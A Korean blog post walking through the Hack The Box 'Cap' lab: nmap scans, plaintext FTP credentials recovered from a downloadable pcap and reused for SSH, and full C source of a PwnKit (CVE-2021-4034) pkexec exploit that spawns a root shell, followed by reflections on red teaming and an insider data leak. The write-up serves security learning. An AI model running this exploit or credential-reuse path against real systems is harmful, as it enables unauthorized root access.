HTB - CAP 문제 풀이 입니다.
Port Scanning
PortScanning 시 오픈 포트는 3개가 열려있습니다.
- 21 / ftp
- 22 / ssh
- 80 / http
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
(glasses㉿BOOK-CUDULDG044)-[~/desktop/HTB/cap]
└─$ nmap -Pn -sC 10.10.10.245 -oA tcp_well_scan
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-21 17:43 KST
Nmap scan report for 10.10.10.245
Host is up (0.41s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
| ssh-hostkey:
| 3072 fa:80:a9:b2:ca:3b:88:69:a4:28:9e:39:0d:27:d5:75 (RSA)
| 256 96:d8:f8:e3:e8:f7:71:36:c5:49:d5:9d:b6:a4:c9:0c (ECDSA)
|_ 256 3f:d0:ff:91:eb:3b:f6:e1:9f:2e:8d:de:b3:de:b2:18 (ED25519)
80/tcp open http
|_http-title: Security Dashboard
Detail Port Scanning
각 포트에 대한 상세 정보를 얻을 수 있습니다.
- FTP : vsftpd 3.0.3
- ssh : OpenSSH 8.2p1 / ubuntu
- gunicorn
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ nmap -Pn -sC -sV -p 21,22,80 10.10.10.245 -oA tcp_well_detail_scan
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-21 17:45 KST
Nmap scan report for 10.10.10.245
Host is up (0.21s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 fa:80:a9:b2:ca:3b:88:69:a4:28:9e:39:0d:27:d5:75 (RSA)
| 256 96:d8:f8:e3:e8:f7:71:36:c5:49:d5:9d:b6:a4:c9:0c (ECDSA)
|_ 256 3f:d0:ff:91:eb:3b:f6:e1:9f:2e:8d:de:b3:de:b2:18 (ED25519)
80/tcp open http Gunicorn
|_http-server-header: gunicorn
|_http-title: Security Dashboard
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Pcap Get FTP Connection
별 기능은 없었고 다운로드 받을 수 있는데 시퀀스에 존재하는 pcap 파일을 얻을 수 있습니다.
/download/{id}입력시 pcap 파일들을 다운로드 받을 수 있음/download/0으로 입력하면 FTP 연결 한 패킷들이 Plain Text 통신
얻은 정보로 FTP 로그인해서 내부 파일들을 이리저리 봤지만 별 특별한 것은 없었고, 설마 해서 SSH에 해당 계정을 넣었는데 로그인이 되었습니다 ㅎㅎ….
1
nathan Buck3tH4TF0RM3!
Polkit LPE(CVE-2021-4034)
폴킷 취약점이 있었고, 해당 CVE를 통해 root 권한을 얻을 수 있습니다.
- pkexec ≤ 0.120 까지는 LPE에 취약
1
2
nathan@cap:/tmp$ pkexec --version
pkexec version 0.105
해당 시스템에는 gcc도 있어서, 아래 코드로 실행 시 ROOT 권한을 획득할 수 있습니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char *shell =
"#include <stdio.h>\\n"
"#include <stdlib.h>\\n"
"#include <unistd.h>\\n\\n"
"void gconv() {}\\n"
"void gconv_init() {\\n"
" setuid(0); setgid(0);\\n"
" seteuid(0); setegid(0);\\n"
" system(\\"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; rm -rf 'GCONV_PATH=.' 'pwnkit'; /bin/sh\\");\\n"
" exit(0);\\n"
"}";
int main(int argc, char *argv[]) {
FILE *fp;
system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'");
system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules");
fp = fopen("pwnkit/pwnkit.c", "w");
fprintf(fp, "%s", shell);
fclose(fp);
system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC");
char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL};
execve("/usr/bin/pkexec", (char*[]){NULL}, env);
}
Conclusion
오랜만에 주환이랑 레드라쿤 보안 밋업 세미나에서 좋은 얘기들을 많이 듣고 오는길에 카페에서 문제를 풀었습니다.
레드팀이란 주제였고, 보안담당자로서 많이 찔리는 부분도 있었고, 이제 기업들에서도 자체 레드팀들을 많이 만드는 추세인거 같아 다른 회사에 뒤쳐지지 않도록 더 열심히 정진해야된다는 생각이 많이 들었습니다.
신한카드에서 이번엔 19만명에 대한 개인정보를 유출했다고 하는데 내부직원 12명이 설계사 1명과 같이 카드 고객 유치를 위해 무단 공유했다는 내용이였습니다.
조회된 개인정보를 스마트폰으로 촬영하거나 종이에 직접 적어서 공유하는 방식이였다고 하는데 이를 막으려면… 정말 매우 어려울꺼 같습니다.
진짜 보안만 생각했을때 대응 가능한 방법들을 생각해 보았습니다.
- 물리 출입 시 X-Ray 검사 / 특수 종이 사용
- 회사 출입 시 휴대폰 MDM 설치로 카메라 통제
- 노트북에 웹캡 솔루션으로 사진 촬영 하는 모습이 보일 시 화면 통제
- 개인정보 조회 시 반드시 사유 확인 및 로깅
- 주기적인 보안 윤리 교육
사실 말도 안되는 얘기이고…
내부 임직원들에 대한 주기적인 교육으로 보안 문화를 바꾸는 것이 제일 현실적인 방안이라고 생각합니다.
예전에 티오리 보안 세미나를 참여했는데 보안은 메타적인 속성을 가진다라는 말이 참 와 닿았습니다.
보안은 독자적으로 하는 것이 아닌 모든일에 함께 붙어서 해야 한다는 내용이였습니다.
이제는 정말 모든 임직원들이 업무를 할때 보안을 함께 생각하는 문화가 필요할 때인거 같습니다.

